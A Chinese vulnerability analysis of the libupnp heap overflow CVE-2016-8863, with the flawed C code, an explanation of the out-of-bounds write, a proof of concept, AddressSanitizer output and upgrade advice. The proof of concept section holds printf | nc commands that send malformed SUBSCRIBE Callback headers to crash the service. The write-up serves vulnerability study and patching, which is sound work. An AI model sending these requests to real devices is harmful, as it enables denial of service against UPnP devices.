CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

1、libupnp问题分析:

(1)问题简述:

根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863。

(2)漏洞原理分析:

该漏洞发生在upnpSDK库中,upnp/src/gena/gena_device.c.文件的create_url_list函数中,由于对输入数据未进行有效检验,造成对缓冲区溢出,可以导致服务器拒绝服务或崩溃;攻击者也可以精心制造一个攻击URL,通过subscribe request的callback header来执行任意代码。

问题主要出现在下列这个for循环中,这个循环主要是解析订阅请求的Callback头里的URL列表,如果return_code == UPNP_E_OUTOF_MEMORY或者temp.hostport.text.size == 0,那么urlcount变量不会增加。

如果提供了2个URL,第一个被正确解析,第二个没有,此时URLcount会等于1并且跳出循环。

for( i = 0; i < URLS->size; i++ ) {

    if( ( URLS->buff[i] == ‘<‘ ) && ( i + 1 < URLS->size ) ) {

        if( ( ( return_code = parse_uri( &URLS->buff[i + 1],

                                         URLS->size - i + 1,

                                         &temp ) ) == HTTP_SUCCESS )

            && ( temp.hostport.text.size != 0 ) ) {

            URLcount++;

        } else {

            if( return_code == UPNP_E_OUTOF_MEMORY ) {

                return return_code;

            }

        }

    }

}

下一段代码是溢出实际发生的地方。第一个条件为真是因为urlcount 1,接下来,分配一个缓冲区(out URL)来保存原始URI字符串的副本。然后,分配一个url_type类型的数组去存储每一个URL解析出来的具体内容。此时该数组的大小是1,因为urlcount=1;        但是问题是for循环将会再次解析原始字符串,

这两个循环的唯一区别就是解析的URL存储在连续的索引中,而不是一个连续变量里。因此,当它解析第二个URI时,它将- > parsedURLs[1]的值传给parse_uri()函数,这是函数传递的一个数组结尾的地址。当parse_uri()填充该结构的值时,数组的地址就会被写入。

   
if( URLcount > 0 ) {
    out->URLs = malloc(URLS->size + 1);

    out->parsedURLs = malloc(sizeof(uri_type) * URLcount);

    // omitted for readability

    memcpy( out->URLs, URLS->buff, URLS->size );

    out->URLs[URLS->size] = 0;

    URLcount = 0;

    for( i = 0; i < URLS->size; i++ ) {

        if( ( URLS->buff[i] == ‘<‘ ) && ( i + 1 < URLS->size ) ) {

            if( ( ( return_code =

                    parse_uri( &out->URLs[i + 1], URLS->size - i + 1,

                               &out->parsedURLs[URLcount] ) ) ==

                  HTTP_SUCCESS )

                && ( out->parsedURLs[URLcount].hostport.text.size !=

                     0 ) ) {

                URLcount++;

            } else {

                if( return_code == UPNP_E_OUTOF_MEMORY ) {

                    free( out->URLs );

                    free( out->parsedURLs );

                    out->URLs = NULL;

                    out->parsedURLs = NULL;

                    return return_code;

                }

            }

        }

    }

}

根据恶意URI的格式不同,会导致不同的问题。有时,overwrite没有明显的影响,有时它会使程序崩溃。至少,可以实现拒绝服务攻击,也可以将其用于远程代码执行。

(赵学鹏 2017.9.22)

(3)漏洞Poc脚本

First, compile for 32-bit with debugging enabled and an installation directory set. The reason for the setting the installation directory and compiling for 32-bits is so that “make install” results in a single binary that is easy to debug.

.

/configure --prefix=<install dir> --enable-debug --host=i686-linux-gnu CFLAGS="-m32 -fno-omit-frame-pointer" LDFLAGS=-m32

make clean;make install

To setup the default sample, which emulates a TV device, do the following from the libupnp directory:

cd upnp/sample

mkdir tvdevice

cp -r web tvdevice

To run the sample change to the directory you just created and run the binary:

cd tvdevice

../.libs/tv_device

With the sample running go to another terminal window. Enter the following to create a non-malicious subscription message:

printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153>\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

One form of a malicious message will crash the application is:

printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153><http://a:49153\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

Another is:

printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153><//:49153\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

Below is the output of address sanitizer from either of the two requests above (add “-fsanitize=address” to CFLAGS during configure).

=================================================================

==13048== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xeef07710 at pc 0xf698b0c3 bp 0xf1463998 sp 0xf1463988

WRITE of size 4 at 0xeef07710 thread T8

    #0 0xf698b0c2 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x460c2)

    #1 0xf698cb13 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x47b13)

    #2 0xf6992e1c (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4de1c)

    #3 0xf6993bae (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)

    #4 0xf69999f3 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)

    #5 0xf6964b8f (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)

    #6 0xf6964e58 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)

    #7 0xf693baa4 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)

    #8 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)

    #9 0xf69f13bc (/usr/lib/libasan.so.0.0.0+0xa3bc)

    #10 0xf68feb2b (/usr/lib/libpthread-2.17.so+0x6b2b)

    #11 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)

0xeef07710 is located 8 bytes to the right of 168-byte region [0xeef07660,0xeef07708)

allocated by thread T8 here:

    #0 0xf69fe45f (/usr/lib/libasan.so.0.0.0+0x1745f)

    #1 0xf69928da (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4d8da)

    #2 0xf6993bae (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)

    #3 0xf69999f3 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)

    #4 0xf6964b8f (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)

    #5 0xf6964e58 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)

    #6 0xf693baa4 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)

    #7 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)

    #8 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)

Thread T8 created by T0 here:

    #0 0xf69f12ca (/usr/lib/libasan.so.0.0.0+0xa2ca)

    #1 0xf693be13 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5e13)

    #2 0xf693c882 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x6882)

    #3 0xf6967c74 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x22c74)

    #4 0xf69a2aee (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5daee)

    #5 0xf69a2d2d (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5dd2d)

    #6 0x804fc17 (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x804fc17)

    #7 0x805056c (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x805056c)

    #8 0x8050631 (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x8050631)

    #9 0xf6754942 (/usr/lib/libc-2.17.so+0x19942)

(4)漏洞修复

  Libupnp官方升级日志中显示在Version 1.6.21中修复了此漏洞:

  建议设备对libupnoSDK版本升级到1.6.21以上

http://pupnp.sourceforge.net/

时间: 2024-10-17 18:42:20

CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc的相关文章

数据库缓冲区溢出漏洞原理(栈)

背景 在数据库系统中已经发现了许多安全漏洞,其中比较严重且危害性比较大的有:缓冲区溢出和SQL注入2种. SQL注入主要依赖于结构化查询语言,每种数据库略有出入:SQL注入漏洞的利用,最主要的威胁是提权:后台维护人员或黑客攻击,可以借此获得DBA权限.需要说明的是,这里所说的SQL注入并不是应用系统的SQL注入,而是数据库自身的注入漏洞,这种漏洞比应用系统的注入漏洞危险性更高:对于SQL注入漏洞的存在,主要是由于数据库中提供的系统或用户函数存在的参数检查不严和语句执行的缺陷.SQL注入漏洞不是本

缓冲区溢出分析第02课: 缓冲区溢出的原理

创建含有缓冲区溢出隐患的程序 这里我们为了达到实验的要求,先来编写一个最简单的存在缓冲区溢出隐患的程序.这个程序我使用VC++6.0进行编写,并在Windows XP下执行.(这里请大家注意的是,如果你使用的是新版本的VC,由于微软加入了GS机制来防止缓冲区溢出情况的出现,那么本实验就无法实现.) 首先新建一个Win32控制台应用程序,然后输入以下C语言代码: #include "stdio.h" #include "string.h" char name[] =

PCMan FTP Server缓冲区溢出漏洞分析与利用

简要介绍 这个软件是台湾国立阳明大学医学系的一个学生在大四的时候写的,这个漏洞是有CVE的(CVE-2013-4730),软件应该还挺普及的,这是一个缓冲区溢出漏洞 具体exp可以点这里 实验用poc(其实这里直接对USER命令溢出都是可以的,即不用知道账号密码即可远程代码执行,USER命令的buf距离返回地址是2000) import socket as s from sys import argv # if(len(argv) != 4): print "USAGE: %s host <

缓冲区溢出漏洞攻击原理

转自互联网 0x00 缓冲区溢出概念 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上, 理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患,操作系统所使用的缓冲区,又被称为"堆栈".在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出. 0x01 缓冲区溢出原理 程序员通过往程

缓冲区溢出漏洞实验 20125108 冯相国

练习1 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 系统用户名shiyanlou,密码shiyanlou 实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 此过程消耗了不少时间,学校的网速实在太渣. 三.实验步骤

实验一:缓冲区溢出漏洞实验20115116黄婧

缓冲区溢出攻击:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的. 一.实验要求 1.为了监控实验进程,我们采用私有课程方式,进入实验楼课程,单击加入私有课程,输入邀请码2YTE6J9X,个人信息中输入学号+姓名; 2.实验报告在博客园 发Blog公开,重点是实验过程中的运行结果(要有截图),遇到的问题.解决办法(不要是空洞的方法如“查网络”.“问同学”.“看书”等)以及分析(从中可以得到什么启示,有什么收获,教训

践踏堆栈-缓冲区溢出漏洞

践踏堆栈-缓冲区溢出漏洞 打算写这篇文章是因为在网上看过一篇论文,讲了缓冲区溢出破坏堆栈来执行恶意程序的漏洞.该论文请见参考资料1.这篇文章会涉及一些汇编的基础知识,以及虚拟内存的一些基本概念等.当然用来调试程序的系统是linux,工具是gcc.很久没有看过汇编和C语言了,错漏之处,还请指正. 1.概要 文章标题有提到堆栈和缓冲区,那么就先来探讨下这几个名词的定义.这里的缓冲区,指的就是计算机内一块连续的内存区域,可以保存相同数据类型的多个实例.C程序员最常见的缓冲区就是字符数组了.与C语言中其

实验一——缓冲区溢出漏洞实验

Linux实验一 —— 缓冲区溢出漏洞实验 20122137 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 系统用户名shiyanlou,密码shiyanlou 实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.

实验一缓冲区溢出漏洞

一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 系统用户名shiyanlou,密码shiyanlou 实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.输入命令安装一些用于编译32位C程序的东西: sudo apt